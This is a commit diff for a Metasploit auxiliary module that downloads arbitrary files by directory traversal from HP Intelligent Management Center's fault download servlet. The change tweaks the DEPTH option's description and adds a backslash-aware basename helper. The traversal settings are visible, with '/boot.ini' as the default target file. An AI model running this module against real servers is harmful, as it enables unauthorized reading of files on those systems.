fix DEPTH description and basename
parent
85d9e3e9ee
commit
b6edad1f1d
|
@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']),
|
||||
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
|
||||
# By default files downloaded from C:\Program Files\iMC\client\web\apps\imc\tmp\
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth if absolute is set to false', 7])
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 7])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -60,6 +60,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def my_basename(filename)
|
||||
return ::File.basename(filename.gsub(/\\/, "/"))
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
if not is_imc?
|
||||
|
@ -83,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if res and res.code == 200 and res.headers['Content-Type'] and res.headers['Content-Type'] == "application/doc"
|
||||
contents = res.body
|
||||
fname = File.basename(datastore['FILEPATH'])
|
||||
fname = my_basename(datastore['FILEPATH'])
|
||||
path = store_loot(
|
||||
'hp.imc.faultdownloadservlet',
|
||||
'application/octet-stream',
|
||||
|
|
Loading…
Reference in New Issue